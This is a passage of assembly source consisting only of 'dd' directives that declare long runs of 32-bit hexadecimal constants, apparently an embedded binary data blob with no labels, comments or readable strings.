dd 9465B000h, 0E883FEh, 310DD21Bh, 2213F330h, 0F63AD003h
dd 9BF04A06h, 3239835h, 1E44008Ah, 0D3472CFFh, 2001A31Ah
dd 0BD7F16F3h, 0E8F85462h, 8E4407DFh, 70D75C92h, 4325FBADh
dd 17FCC00h, 0D27ED83Bh, 5F5601E9h, 5ACEC712h, 418470AAh
dd 1690553Eh, 8340A30Fh, 24738A2Eh, 0DC4900A5h, 58FE255Fh
dd 280097C2h, 83064D9Ch, 5E902C3h, 0BA2A6D47h, 8DA3008Ch
dd 0FCAC2977h, 0BFC42500h, 4C0F7531h, 0A9980EBAh, 0A0F37833h
dd 26019CCFh, 113C04C4h, 0F330AC89h, 37FA2h, 4FB4FD56h
dd 0C5A19D4Eh, 59F63071h, 80047400h, 37C80E75h, 517BCCh
dd 0FB0F94Ah, 0AB92168Eh, 62D09100h, 26176F78h, 697660h
dd 47D49339h, 45101A67h, 0C59031Dh, 0C0A5798Eh, 444FCEEh
dd 0DC7D65h, 0F22CD222h, 9424DA70h, 1D00A2FAh, 2DA5277Dh
dd 0FCAE1004h, 0C481007Ch, 0E35097A8h, 90179DBBh, 79005ADAh
dd 0D6D07A85h, 0AC7624h, 0D41A310h, 1BE0BD81h, 75002FECh
dd 20D86B1Ch, 74FD44EEh, 0A0D40B8Bh, 4F0FE825h, 70758A67h
dd 18A1701Ch, 3469C3Bh, 2C1D298Bh, 5FCBA839h, 0F8A50090h
dd 2B0914EBh, 4A00359Dh, 29216AC5h, 77915CB2h, 0D0181244h
dd 0FE150042h, 1944182h, 213F1203h, 0E87160BBh, 0A2BF11h
dd 4E44D805h, 829AD415h, 5D1AF600h, 3F216791h, 0E871C4h
dd 3AD8CBB3h, 58D0A993h, 3140B00h, 1AD72EFFh, 65641FBFh
dd 0C2B54051h, 0ECA19F21h, 408A4800h, 96930452h, 3DF178A9h
dd 8D8098BBh, 604BF895h, 1900B383h, 0D862FA2h, 98CF0C89h
dd 0AC8C3C9Fh, 93800439h, 64B026C8h, 6004BB4h, 2ABD9E7Ch
dd 4410B8h, 9DFA05BCh, 0C40DC054h, 0F4068900h, 4286C8BDh
dd 8D2A00CCh, 6A50374Ah, 8800AA8Ch, 0B00B5D49h, 3B7303C9h
dd 0A983F1DEh, 0AF142DB6h, 0A42E01A8h, 11890900h, 0A5B35AC0h
dd 244C0002h, 48D7E844h, 8000A136h, 0EBA4B7ABh, 1A6E82h
dd 401F3F5Eh, 56658C9Dh, 417A2F07h, 0EB001558h, 0FE4B6A38h
dd 3DCA79A3h, 0A83A5468h, 20102500h, 0B32EFD3h, 22DD4800h
dd 8D41C3DBh, 7B5A0370h, 0E32E4C99h, 51B8D7D8h, 0DF03C97Dh
dd 0A2D66184h, 12BBF993h, 1CEEDBE0h, 0D269ED2Ah, 80D31CF1h
dd 21D7414Bh, 28E47672h, 0B7F4102Ch, 0C02C6E09h, 0A79EA3h
dd 0C76D146Ch, 78D5C3AEh, 85727D00h, 9CD47ECAh, 0F6FF981Dh
dd 0D1AA00ECh, 9819DBCBh, 7F00AC65h, 544F090Eh, 7B5299C8h
dd 8630012h, 0E2E48DA9h, 8A009348h, 735D1047h, 0DBE1A7h
dd 906AFBE8h, 1EBF020h, 83433D1Ch, 97F0600h, 0DD343Bh
dd 287ABADCh, 1F0EF175h, 0C8B1702h, 0E04FE091h, 1C55FC66h
dd 43C0643Fh, 892BEB7Eh, 8ED775E8h, 1A7D0900h, 213DDAF4h
dd 47541D64h, 0C22DC24Dh, 80F56217h, 0E70C5260h, 4B3E04DDh
dd 803CCF2Bh, 70D033ABh, 0C7390B2Eh, 71F95400h, 1F79C5A9h
dd 0C05B2453h, 0B744A19h, 0D8000F06h, 1501EA83h, 2EB1072h
dd 28F8A123h, 0C440778Fh, 260007DCh, 0C5040F27h, 619333h
dd 0B03AC748h, 0EB97ABA9h, 5428AC00h, 0E95A5385h, 2673008Dh
dd 33E02F08h, 658C61Ch, 1F2C007Eh, 96744272h, 243900E8h
dd 8B898C0Ch, 970044D3h, 20DEB27h, 4C74A119h, 0FF0017F3h
dd 4EA3D675h, 7EEE46Ah, 0ED28E81Eh, 3F0EEC80h, 100BF0h
dd 0F82AF47Dh, 50E42DD9h, 0E07670E1h, 0BCACA100h, 0F64D514Ah
dd 0C49048h, 87AA8E5Dh, 7988F447h, 0E0447400h, 15498BB7h
dd 18207A5h, 8068D1C2h, 0BA45BC32h, 74E38801h, 8627485Bh
dd 710BDCh, 64161E80h, 0D553B35Dh, 0EAC87900h, 0BD863E69h
dd 0ED481FC4h, 5A4EC0C2h, 53885942h, 620055F6h, 0EB4F0E3Ch
dd 1FC391h, 37F333D7h, 461447F2h, 28213500h, 2FEB1684h
dd 1250062h, 201DD982h, 3901B0A5h, 4B2C303h, 6870506h
dd 30100708h, 0B400920h, 0A4810C28h, 16760E7Fh, 0EBE8A007h
dd 0EA90122Ah, 995634h, 0C4A829CDh, 5725FE98h, 8E17F200h
dd 6149A65h, 11480BFBh, 840C2884h, 0AA39103Ah, 7B838002h
dd 0FBD6114h, 11B50022h, 62D25604h, 12FA54C4h, 18738B05h
dd 2280EA84h
dd 0E20C0EBEh, 5C8C7992h, 430F077Dh, 0B3EE0FE7h, 0CF61F7E0h
dd 163FFEDBh, 70E48FA6h, 9684E0E8h, 0D998A4h, 14B8FC66h
dd 25DA08A1h, 8B378D00h, 2E0A9565h, 93900B9h, 147A67E8h
dd 450916A6h, 18121B4h, 0B8AE8B21h, 803AA930h, 4724320Bh
dd 1001F57Ah, 0B5FA84CCh, 30DD0DCh, 0A257A4D4h, 0C0B8F564h
dd 46B04588h, 0BC2CFE0Fh, 4810A18Dh, 0ED703CDCh, 0EBE262h
dd 9896995Ah, 0A9849C0Ch, 0A05C3Bh, 0A8438CA4h, 0FE10AC23h
dd 1027CCAh, 94BCA1C2h, 0C4B4425Ch, 110035CBh, 0D753772Fh
dd 0F3884Eh, 0B65F4CE8h, 0CBB1E0B8h, 68304B00h, 0FB753F0h
dd 0A45D00BDh, 3CF3E4A7h, 0E80091FCh, 0C283D0E0h, 0CFB0FDh
dd 16720839h, 0D7421D74h, 22730A00h, 0E3EAC7C5h, 553B008Fh
dd 0E5657F45h, 16739A30h, 2BF5830Fh, 0BC75C07Dh, 0F0FCCCh
dd 0CF24A121h, 56AC14B1h, 80B5C43Dh, 547F15BDh, 59489Ch
dd 65CD7E06h, 0FA21DB4Bh, 2EC82C0Eh, 0DC56A096h, 163E8E1h
dd 7EA62F61h, 2023517Ah, 9400F86Ch, 78CE84D2h, 0E65E3229h
dd 4F7F006Ch, 39A025B1h, 7200A32Eh, 402150A4h, 101BE9h
dd 0E8A75A28h, 7F30B3BFh, 8C82C700h, 0A4F60450h, 70B75A8h
dd 14588978h, 0A751B0F3h, 18E898F5h, 12757000h, 380BA2A8h
dd 50220B77h, 29821155h, 56402039h, 96168274h, 1C0025DBh
dd 9AD5895h, 3944015Ah, 0C40C60Ah, 54A7E401h, 664D7600h
dd 56A1AA4Ch, 511A3EFCh, 0AEA22F83h, 0BE01346Ah, 8985D24Ah
dd 3FB62A4h, 88984296h, 7E2450A8h, 0B0001A8Ch, 0FF6C20BDh
dd 0AA98BFh, 0D9457F94h, 4D8D73E8h, 0B77158h, 0C8A392D0h
dd 1C2FD50h, 91CCCA13h, 0F8E50809h, 0F2000C18h, 0D8B888D4h
dd 1D800BD3h, 0B914FEh, 645A67E1h, 0BE00949Ch, 0DE7960D9h
dd 397C46Ch, 3C802766h, 0BFE02684h, 1400CA81h, 3DF3C28Ah
dd 854C44h, 29C1AE68h, 0BFD74EF7h, 0F603307Ah, 8A05127Ch
dd 0E181C00Ch, 0D200722h, 0A0E97210h, 0CE2C396Ah, 8001261Ch
dd 5027940h, 0C98349h, 0C0DD41FEh, 0EB204EBh, 8A13D4FBh
dd 4A38CA1Bh, 0C28B802Ah, 5EE25Fh, 204B3CF6h, 0B43D8033h
dd 0CB169200h, 48F30FF2h, 4AD60089h, 0BC696185h, 900082C5h
dd 1EB1C933h, 145507h, 0C1780AAEh, 0B0DA643Ch, 0B4735800h
dd 82F093FAh, 0FC1200DEh, 404A4F66h, 77006914h, 6AC6C811h
dd 0F650CB6h, 0F3E2F052h, 8050BB64h, 745ADE5Dh, 17E4EC00h
dd 71A6D62Bh, 12C0F02h, 8EA01572h, 3947CEA8h, 0BC74900h
dd 0ABDC7516h, 0E8E4003Ch, 0BC777D2Ah, 6C078D24h, 0ACBE0A60h
dd 6C78760h, 0FE990109h, 0FC469FEEh, 89FAE451h, 0DB0EF772h
dd 0FE028D30h, 0FCB6641h, 0E1E40E15h, 0FFE20781h, 51DDF203h
dd 0DC0B7E52h, 800E8C1h, 504ED6D1h, 0B3D76Ah, 95670194h
dd 9F78837h, 732AF500h, 5EF9C30Fh, 0C5540008h, 66AD9C2h
dd 33E0290Bh, 25EBF603h, 0D935448Ah, 7C85CE8h, 0D82A2602h
dd 88430E32h, 0F3E6F547h, 0AB994993h, 0E4E43107h, 750004CBh
dd 2C683EEh, 12D0D2FBh, 0F2A8E0Ah, 0CCC02579h, 685DC0E1h
dd 82A45400h, 189513Bh, 8550759h, 50537E36h, 7BD5F5E8h
dd 32122E0Fh, 0C33AE029h, 855DE5h, 0C8AAC264h, 72C750D9h
dd 0B14BA00h, 2B9574C6h, 128107C4h, 4164ECB8h, 0F8A8E68Fh
dd 4C00B93Eh, 1BBA299Bh, 1FA6B22h, 0E3119538h, 0C452E7A2h
dd 1C09C824h, 80F14476h, 0FBA2C80h, 178A391Dh, 0F2A20773h
dd 0C02E0413h, 0A7F33C0Eh, 19904A00h, 1084F4ECh, 0F1DFA2Fh
dd 37A4F5F2h, 44580860h, 0F4ED681Fh, 0FE3DA1DCh, 0F8D2035Dh
dd 0E85B3287h, 61A2011h, 0B150FCC8h, 1E00A23Ah, 650A6E6Dh
dd 380E4A4h, 344F2822h, 0D1D10408h, 0AD29D48Ch, 0E2FF60F9h
dd 0BC7BF800h, 364B8927h, 25430066h, 5D44ADA4h, 0BA011A8Bh
dd 5AD34598h, 14F41FB2h, 103F0EA5h, 0BA9DFC23h, 50A1Eh
dd 0F4117E62h, 0A307B0BAh, 14C0FAF8h, 86FB1F60h, 68FC0006h
dd 10C221D0h, 79B0B8F4h, 80BAC93Ah, 2753850Bh, 0DC1D72h
dd 491B1039h, 0E20C21F9h, 7F65F001h, 3D69189Ch, 8F2AD8h
dd 163A2793h, 0CB386853h, 0B3411200h, 5B30C9C4h, 61100ACh
dd 642F6D0Eh, 0A198B752h, 0C31E5978h, 2C802003h, 0F2D4AC9Ch
dd 61223E02h, 470C9480h, 684C5070h, 0BE24A500h, 5448C7Dh
dd 411C1F20h, 52B8804Dh, 380F9410h, 8B744BF6h, 0CE3A3500h
dd 19BF842Dh, 0E07300B8h, 0BCBB5310h, 0F901B552h, 0E4031764h
dd 77E8BAC1h, 73F603A5h, 5DEBD069h, 8004CC91h, 977F3CCAh
dd 0FE1A7B41h, 0A11C00F0h, 21BF4CF2h, 5B00E898h, 0B730A323h
dd 0B3D8FA5h, 0A5A0618h, 5F547480h, 92031340h, 6B27F5B9h
dd 6CE6C078h, 3233000Eh, 0A9BD642Eh, 477D1FD4h, 69447400h
dd 78466B73h, 53F23E72h, 63617083h, 50D0458Dh, 0B8E49732h
dd 58E4FD00h, 11B06437h, 0A8480324h, 0A06F26AFh, 988844C0h
dd 91948901h, 0DC329031h, 0F02ED3EFh, 58448022h, 1407B3F4h
dd 0A7705191h, 0B868A3B4h, 0C41360D0h, 580031F2h, 5099E39Eh
dd 1F12F011h, 40912E48h, 38304440h, 173DFC89h, 69E024C8h
dd 81CC6401h, 44DC5E20h, 89D00618h, 4E781310h, 406E080Eh
dd 2C322711h, 0F0A6F880h, 3FAEDD70h, 0E800C3BDh, 0C082B185h
dd 4C00E024h, 0C83821C4h, 391D811h, 547C2234h, 0CDC0F426h
dd 4907B419h, 11D40143h, 88E02877h, 2C6894D0h, 1DAFC818h
dd 0BD803A14h, 0C4220CD3h, 0C0E84C47h, 0BC4E9EE9h, 0B80A7C3Bh
dd 84484453h, 0BC50BE3Eh, 18289FB0h, 8499AC9Fh, 7CF9A83Eh
dd 479FA4F9h, 3CB04FA0h, 90AC9CAEh, 10FC9824h, 78FC94FCh
dd 0E1F8307Eh, 900E4C4Bh, 8824A784h, 0F114F056h, 800238E9h
dd 7C1CA783h, 0CA5A0F3h, 74240CCFh, 70FAE0FAh, 3CF2D8FAh
dd 0B0676C7Eh, 24E7681Ch, 74E764E7h, 0F26030E3h, 0C65C0518h
dd 58095C5Bh, 1560888h, 8E38549Dh, 0EFC50D0h, 4C225346h
dd 48AAB86Ch, 0C6C020F0h, 6DE81044h, 0ACA1FB3h, 709DE70h
dd 0DF90722Bh, 0FD8A2700h, 3F000838h, 4E491C13h, 1E419D46h
dd 3D0A2E2Fh, 0AED07404h, 138680ECh, 0F90045F3h, 0FE172A82h
dd 35425CCh, 57D0764h, 80BC49B8h, 221D7E20h, 0C48C700h
dd 910F9650h, 7D801D02h, 3720110h, 606023FCh, 770FD9C3h
dd 0FE2D7BB2h, 0E0BBE3C7h, 0A07FFF60h, 73020031h, 0B48D1003h
dd 82033C40h, 0B3CCAA9Ch, 0EBA480F3h, 75FC23h, 3B60FE7h
dd 0FB80105Dh, 8074013Ch, 977040Bh, 75EBFCCh, 7EA2C53Bh
dd 0FFABF002h, 0DC009D14h, 0C78B5989h, 251874h, 46951AD8h
dd 83033365h, 233E2475h, 3E880009h, 0AAC0184h, 0F757FC0h
dd 0C3D1C22Ah, 86E68160h, 2E001445h, 8F2AA2Dh, 0B3072F4h
dd 33E44D98h, 80000DF0h, 831F7F0Ch, 7CFDF9h, 0C90B1A1Eh
dd 0AA4E1C59h, 58026B00h, 5AA04074h, 0F7F600F4h, 3D20D96Fh
dd 1C76EB8Bh, 4218E400h, 0FC197491h, 0F85000E2h, 8A2A1508h
dd 280123E0h, 650EAB66h, 5F94807h, 0D20BF4h, 0E05F5EADh
dd 62A42BC0h, 0D0E7EB2Ch, 29258A00h, 24D28B8Ch, 0C1AB49h
dd 1C2BB487h, 0EA009F08h, 5A029804h, 1E2845B0h, 0E65D8Ah
dd 4AE455BFh, 0DD000AAAh, 0EBD23268h, 908AEFh, 0FA7067Dh
dd 0BD5DDAF7h, 0B1E4A80Fh, 0AAC4C001h, 8B5092h, 0F73285DCh
dd 0F1532035h, 1E00BA74h, 0A10B4943h, 50EDD5h, 0FE18E9B2h
dd 3BAA030Fh, 58F834C0h
dd 7CEC7324h, 0FA83009Ah, 0BA052712h, 0E200154Eh, 41ED499Bh
dd 128EBD6h, 8122DB33h, 0C07FFC4Bh, 0B30048C1h, 8AF3F603h
dd 7043DC2Bh, 7449008Eh, 0F4754B0Dh, 5F00A04Eh, 0EB3231F8h
dd 0C552EAh, 0E3FFB01Ah, 4A73CF09h, 65070CE6h, 2B27F975h
dd 0C3F726A0h, 0A9908Eh, 325B891Dh, 645246A4h, 0F1220B03h
dd 80040F21h, 76D93Ah, 0CCE9027Fh, 9C128DDDh, 49A79B00h
dd 0B048B97Bh, 7A03008Ah, 1E740E3Ch, 0C9005351h, 4A290F24h
dd 7C28812Ah, 0E80C008Ch, 0C8E4E590h, 7300D820h, 43595B04h
dd 0ABDCE2h, 7A35F9C2h, 0E5F897DAh, 0F1054A1Ch, 64C02F00h
dd 982A24C3h, 9D0200E6h, 20A60BB7h, 0D61FFD17h, 7F802826h
dd 1A2D5129h, 1FB507F7h, 0AB6DBE05h, 8FBF520Fh, 7E471CD4h
dd 2EE8A0DFh, 380E46FDh, 6F20DA13h, 0B267C08Dh, 283310h
dd 355D2927h, 46C966D6h, 825B4007h, 1D90D957h, 70698B49h
dd 0B0700C8h, 9044724h, 4F0EBA3Bh, 0F6E9C19Dh, 0A78F6800h
dd 770B08C5h, 1673015Dh, 1B28DE4Fh, 578DE453h, 0E83EC898h
dd 0F176260Dh, 0E26CBA00h, 1F13F44Bh, 0C0900732h, 89B934EDh
dd 0D2582B80h, 0EAD50023h, 0BFEE66ABh, 0BD42010Fh, 744A3D18h
dd 1D396017h, 1198F205h, 0B50075D1h, 1A7E5216h, 143900A8h
dd 0FC9E16Ah, 9B002AD3h, 0E89533FCh, 0E21EB54h, 16C334C8h
dd 3CB5B320h, 0E500E3D2h, 0F0FB3BDAh, 2EAE05AAh, 1ED5AD77h
dd 804E8037h, 0E3087555h, 0AC1D0300h, 2474273Ch, 0A22201A3h
dd 10966920h, 0EF56FCF3h, 8AEDE20Fh, 419C006h, 450B6Ah
dd 2602900Dh, 0AC07C0C3h, 0A5C43A0Fh, 0F71B64D0h, 0FFA3FC80h
dd 0BBA8032Ch, 8E894985h, 0CC766A0h, 0B120BF00h, 0F8553388h
dd 0EF40006h, 267423A0h, 8F0E308Eh, 572E0F25h, 32BEF400h
dd 0E35C133h, 45C73127h, 65803A4Eh, 0F89636C6h, 8B03467Fh
dd 4240EBD7h, 0D34CB8CEh, 0A0716Bh, 0CACDF3DAh, 0F483C7F8h
dd 6607E800h, 5589C1ECh, 33580063h, 1F8A205h, 2200B6EBh
dd 1419AF71h, 2DAE95h, 832B3D93h, 0F445C6A1h, 0C1EE0100h
dd 96EBFB19h, 9DEC0058h, 3519B6Bh, 0BC052D17h, 9C17D0Bh
dd 4E0DC103h, 0DC0488E0h, 0C393E52h, 0C35BE400h, 84432A12h
dd 0F8290500h, 0D213EC48h, 0FC0000Eh, 217A4F66h, 3501E41Fh
dd 742B1856h, 0DCC8BC65h, 0BD80080h, 5CA3F0EAh, 20005D8Dh
dd 851C25Fh, 6095CFFCh, 27CE5289h, 0F3EAB48Bh, 22EF9100h
dd 241A441Eh, 12200E89h, 4FA00F53h, 0E8D4A380h, 8077733Eh
dd 0C6B758CDh, 3E02BDDh, 260DF47Eh, 0FEC0FC80h, 2D000A81h
dd 0E432DC75h, 85C83Ah, 31465C41h, 88F9A465h, 0B705CD00h
dd 8A538490h, 54EE00D6h, 51858DCFh, 2C00ACA2h, 88EB5B0Bh
dd 0C3A499h, 82D8DE42h, 617C1B8Ch, 8F94FD00h, 0A14DFFB5h
dd 0EBF60075h, 4745DD0Dh, 0DC0035ACh, 7EE4C403h, 41EA12h
dd 244329C1h, 4B540B1Fh, 2C7FE0F6h, 37013172h, 221AAE66h
dd 6F606CE5h, 9E89001Eh, 17D52675h, 83004845h, 0F7E0B55h
dd 13C905B2h, 8D1EF2h, 0BF3306D3h, 4948AA58h, 1AC80029h
dd 38B46CBCh, 2E9500F9h, 1B78ABADh, 793C876Dh, 84D8096h
dd 0FA463A8Dh, 25D00024h, 298549F5h, 700133Dh, 81668001h
dd 34067Eh, 404C039Fh, 43C61D05h, 0E918B800h, 2EDB63EAh
dd 0B92D004Ah, 0C0690BB4h, 830E4010h, 0A7ECF8C1h, 4420099Fh
dd 0B8D2A3D7h, 0E17371h, 0B7C7CB5Ah, 2DDBFC70h, 99BA3000h
dd 9B24D879h, 3A7500DDh, 0A0F76616h, 17034144h, 35DA0974h
dd 0F8E180AEh, 0E67501DFh, 37B0C8Dh, 6F40FEBAh, 440E8A0Ah
dd 0CFE515h, 0F887E8C0h, 1C0F00E4h, 68300566h, 5400B8D4h
dd 0C032EB09h, 73AE03AAh, 89900F8h, 78477B79h, 0C4003B82h
dd 8027B10Ch, 30FF830Ah, 7F0E7312h, 3501F87Ch, 0C63725FEh
dd 4FC00E44h, 160D7A78h, 0B01311D4h, 0EB26ED74h, 0A101261Fh
dd 624431A6h, 7BF8020h, 25999392h, 8221A319h, 0E384F1B8h
dd 3A1B5600h, 80EAC1B9h, 38900D6h, 0C3025388h, 61C5C94h
dd 2EC78BEEh, 0C8E00475h, 3F0FCA0Bh, 69BFB484h, 0FB792F80h
dd 35FDA6CFh, 0E582EA03h, 0D0C363FFh, 4F64Ch, 0BF1F7C12h
dd 2D41CE21h, 64088000h, 0B3DA81A7h, 0E00200B6h, 49F2730Dh
dd 0E03A405h, 13EE24D2h, 0F46AF0A6h, 6D75DFh, 2A82B8D7h
dd 6B40C22Bh, 8034DA3Bh, 0ACF51C85h, 9B5FF2h, 521BD4F0h
dd 0F650F7B9h, 1E860D07h, 0C032EE7Dh, 75E4C0C4h, 0E649001Fh
dd 39EB3DECh, 400C185h, 203CAA30h, 147D6A9Dh, 0A1362122h
dd 4EEA4C1Dh, 13A08D05h, 0C6088103h, 0D5410700h, 0D1423F80h
dd 0B9AA00F7h, 0EB1F0FCCh, 6300C1F2h, 0FB4588D2h, 58CD574h
dd 5C8406F1h, 9B54C0F0h, 0DD007D4Eh, 5E2DB0Fh, 5F3A2Dh
dd 0E8EE8389h, 0C1097A75h, 0FF803E00h, 0A05B786h, 527E898h
dd 0C544601h, 0E706C73Fh, 0CBD86970h, 0A965800h, 0A412461Dh
dd 3B030007h, 164A74CEh, 0DF05242Ch, 0C6010F17h, 9CE88CC0h
dd 582B0F85h, 4300D003h, 2E096EA9h, 0B9C28B38h, 7D4A9E8Ah
dd 0F91A3E40h, 25081h, 3029E0D9h, 3FDF0407h, 0DBB7EB00h
dd 0C57F9B47h, 0D6A94C66h, 4E90171Fh, 0DD40E804h, 8A5250BCh
dd 16D283Eh, 0C30B779Bh, 20E899ACh, 4ECA0043h, 0F3C427DDh
dd 0F0053A2Ch, 260F730Ah, 49291380h, 0CE820043h, 5245B806h
dd 13001CEAh, 0BC140E8Ah, 0F619DB3h, 2AA99428h, 0D26BE440h
dd 900740EDh, 9CF4FA81h, 720A53h, 0B5021438h, 88E4F25Eh
dd 0F4708C00h, 850F8065h, 1F68B861h, 876EDFE8h, 3068D30Bh
dd 0DC6014B8h, 0BE15B900h, 6CA7BAF2h, 5F5A0062h, 0B85B89C4h
dd 0B90016D1h, 0A8155107h, 0E210A72h, 0DC021034h, 2CA2007Dh
dd 3D135929h, 65577B1Fh, 8A1F52C0h, 35C1590h, 44A27443h
dd 21D80C11h, 0CC0FD314h, 208A7354h, 2C08E40Ah, 88850004h
dd 0F85164FCh, 0EC00210Bh, 1450D862h, 0F197C442h, 0F8CB2C0h
dd 0BCCEBF3Ch, 40839C7Dh, 0CF1DF42Dh, 9077301h, 315260B8h
dd 8F224B10h, 91800054h, 0A1176715h, 0CE48B6A0h, 631E0093h
dd 6E4B98BAh, 0D4463D8Dh, 0B00683Fh, 3F11316Bh, 0FF7F1469h
dd 36767460h, 1F41695h, 7178302Fh, 0F0C142F8h, 0AB7EB81Ch
dd 57989C00h, 9FD4B0C8h, 66450B70h, 0D200F73Ah, 9495F3C5h
dd 0DCA3D12Ch, 3960F501h, 6FD57D49h, 93135C0h, 0F71EE3DBh
dd 5C8A5800h, 0C101FF0Ah, 0D8E818CBh, 0D1C008B3h, 57300E0h
dd 71064135h, 8000DB4Eh, 0E6E2F3BBh, 34238D6h, 38B61CCh
dd 9280E775h, 0A003E9F8h, 85D8698h, 0C6DE973h, 10F090E3h
dd 7C1700EBh, 3C0B538Dh, 0DA075012h, 4DFED173h, 0F8DC9EE0h
dd 7C370D7h, 0F685F263h, 6DB85376h, 0CA8024F3h, 6800E9C1h
dd 0F92F83E3h, 0E0B75603h, 76B0FAh, 0DD0FFFE7h, 1D72E26h
dd 0C73BF800h, 98682177h, 10E6007Ah, 0A71406CFh, 490073FAh
dd 0D05AF4D8h, 0FCE83180h, 4497007Ch, 3902BFEDh, 96091CEBh
dd 87722921h, 1097E346h, 4EF0CC07h, 8B9D75h, 0C94C850Bh
dd 0FF7A1AD5h, 0E500DFFAh, 7582DFBh, 62B491h, 34478DF5h
dd 0C0A60411h, 0D851D9F7h, 0E0004B0Ah, 4E86FE38h, 0F81DA9F2h
dd 0D1E9000Ch, 0E808F482h, 5027E47h, 0CB113256h, 0DF0EE07Ch
dd 0F920021h, 0F972958Fh, 5502E330h, 0F8FC8A22h, 0AC7E60EAh
dd 0DB3B037Ch, 8D9E34BAh, 881E3DB8h, 0C30053E4h, 0D50FE0A9h
dd 661028Ah, 46474307h
dd 8100BA3Ah, 0AEE87570h, 41BC74h, 51048B09h, 2E108A26h
dd 0CA90E000h, 0DF10332h, 8102000Fh, 433CDCE6h, 0EF48240Ch
dd 8880087h, 14BC11BAh, 40472E03h, 0DFD90075h, 563798Fh
dd 0B939420Eh, 7D84A08Bh, 0EC1A41h, 0DF5D8955h, 0B11CB414h
dd 19BAFF03h, 0D0D33502h, 0BC3CEAh, 0BD469D57h, 0C9A4D89Eh
dd 854B8000h, 43767CDBh, 334200B5h, 0C16DE475h, 80014102h
dd 0D06CFFE1h, 14E4D907h, 0E2A50018h, 1C1E0A5Fh, 5D008884h
dd 650F85F7h, 1E12038Ch, 0F183C8Dh, 1FE0302Ah, 10AE2E5Bh
dd 0AC24A603h, 0A8026321h, 0CDE380h, 76E03217h, 34F06175h
dd 0B60F330Bh, 695080DFh, 3F831A2Ch, 1B007D79h, 0D4FF3E62h
dd 0EC5C4D99h, 0A8451DEEh, 88F4FC40h, 5043A5B0h, 75D09E8Fh
dd 44853BACh, 89EE3400h, 97626AE0h, 0B45EF000h, 3B800602h
dd 0D0520E5Ch, 1BF2BB5h, 0CC9D7E0Ch, 9CF9CCFAh, 0EF504400h
dd 12D8BCAh, 0B3620040h, 5615CE7Fh, 0E016C3EDh, 6D005FC1h
dd 38F42430h, 3EF7725Bh, 1A003462h, 9693DE86h, 9E00C902h
dd 0E3D64149h, 796F4EA3h, 8A310EC2h, 10E05B81h, 0F82708A5h
dd 713ACF05h, 2BC0B041h, 90FCCDh, 0C3849317h, 439FB5Fh
dd 5AA82600h, 0A24E0EE2h, 21D2384Fh, 0A91748Fh, 0C03BE687h
dd 198E9ABCh, 0A8020801h, 0A15FA4BDh, 4DABD0h, 84186086h
dd 0B12CB091h, 5EC9400h, 424CF42Fh, 0A91C00DDh, 56B2CCB3h
dd 0CEB0BEF7h, 18B8BB09h, 4834004Dh, 0EAA835Ch, 4E44F41Bh
dd 4F36E6E0h, 590FACB1h, 0A330BFE7h, 0A8A53AA4h, 532935h
dd 7FFF0C44h, 65D5D01Bh, 835E2F00h, 0F8D45585h, 2A950087h
dd 0D3F19325h, 91077BE2h, 0AF5681F4h, 0AC2013F7h, 789CB442h
dd 8C7B64h, 2F7589DDh, 704963FCh, 6A244800h, 0A47A8203h
dd 5AD30E73h, 0E241BA7Eh, 0DC87DD8Bh, 0C300F5DBh, 0E1081FDCh
dd 78AD422h, 49536CF0h, 75BC2040h, 89EC6648h, 450036F8h
dd 2F841BFDh, 0E6C583h, 4A29EFC2h, 0C802D7DBh, 0AA067600h
dd 0AE6A38A8h, 2775004Dh, 88BC9345h, 0BE001869h, 38084604h
dd 0F8D8A1E8h, 0D0260010h, 7F0121D3h, 52000A93h, 0B9C4A4B3h
dd 0F522FC9Bh, 1026AE4h, 7DBE54D2h, 0F84C05DAh, 0B000B356h
dd 0E070632Dh, 3E36426Fh, 0A600EBE2h, 0BCAE23C2h, 4F007405h
dd 49E8B895h, 0A4722Eh, 70B23824h, 47C0AA40h, 0C8905200h
dd 0AB2517E8h, 3EF217A5h, 149B00A9h, 2EEC8D99h, 2FD79400h
dd 9AD304A0h, 61F30E1Ch, 830F7E2Bh, 0DF804349h, 1B326BCh
dd 805C0B3Eh, 0E80D8486h, 79A14660h, 8C2D1E64h, 0FCD68032h
dd 65EED778h, 860ABF00h, 157EE854h, 6A300075h, 14BBE5E6h
dd 0A600E38Ah, 0E42C5616h, 88F95Ah, 282D124Ah, 0EA9D5965h
dd 0D871AE00h, 0E7941962h, 3B52B874h, 0A9D20A1h, 6B9788h
dd 0B7605191h, 0FC00EEC8h, 49C93C31h, 753CA16h, 0AC6A40FFh
dd 0E988F030h, 5900D03Fh, 6B6F217h, 0E8EBD19Ch, 4ED85C1Eh
dd 20350700h, 0F381C083h, 3EDB800h, 0EB75CEFEh, 91C10031h
dd 0D5DC4FDAh, 0F7032D5Bh, 7D43F8D2h, 0FCC0C0D0h, 9933CD7h
dd 47A46180h, 8264E259h, 0DADCE800h, 0F5D0147Fh, 5298012Ah
dd 0D395423Ch, 0D7DDE8ACh, 0E7B4F301h, 0C4464A71h, 14B3A5C8h
dd 94038398h, 8D5B1800h, 0D3702197h, 4EAC100h, 0C05A92F8h
dd 50550090h, 0B0A2C601h, 27002ADEh, 320A0F2h, 2709217h
dd 10516871h, 43405A24h, 0CA008BE8h, 6002B1ECh, 3FDF1638h
dd 0F2817D47h, 0F72622BFh, 35EF3043h, 1901E57Eh, 0C82051F1h
dd 0CA319197h, 1E7795FCh, 0C028AEB5h, 5A05564Bh, 400BAF6h
dd 0FA023A60h, 38CE8980h, 468007EBh, 10FE8342h, 0B200F1B7h
dd 0E7F75EC1h, 7DFA998h, 4744432Ch, 0B0889754h, 4B31D772h
dd 22D8D100h, 0F88C0779h, 0FF83004Fh, 0EF807C05h, 0C00003C7h
dd 8AFC92A0h, 0A80450h, 25854A47h, 4411303Bh, 8E01023Dh
dd 40E3C112h, 688C336h, 5FB80046h, 0ABD17594h, 1A76EEB2h
dd 0AF769700h, 0A09C4072h, 0CD050727h, 3001BCC4h, 5A04847Fh
dd 4CF35B3Ah, 30580ED9h, 5C80FE94h, 0AB08143Ah, 0CBD500A4h
dd 589CB32Ch, 0C8B88E96h, 50348400h, 8BDC23BFh, 896E0073h
dd 815460C6h, 41079996h, 3B1F74F6h, 2028FFC0h, 0B17B009Eh
dd 958D0F63h, 0D4002F47h, 58B9E2CEh, 0B05221h, 2096A3C4h
dd 0B702BAF8h, 7966BE00h, 0DA309C8Bh, 0AE2C1D52h, 47D81E9Fh
dd 908F95A5h, 97423BA4h, 0D60096EEh, 7F200DACh, 1308C8CAh
dd 0F5E6B88h, 0B0A7B20Dh, 0B981D01Fh, 94069C43h, 0C21679E5h
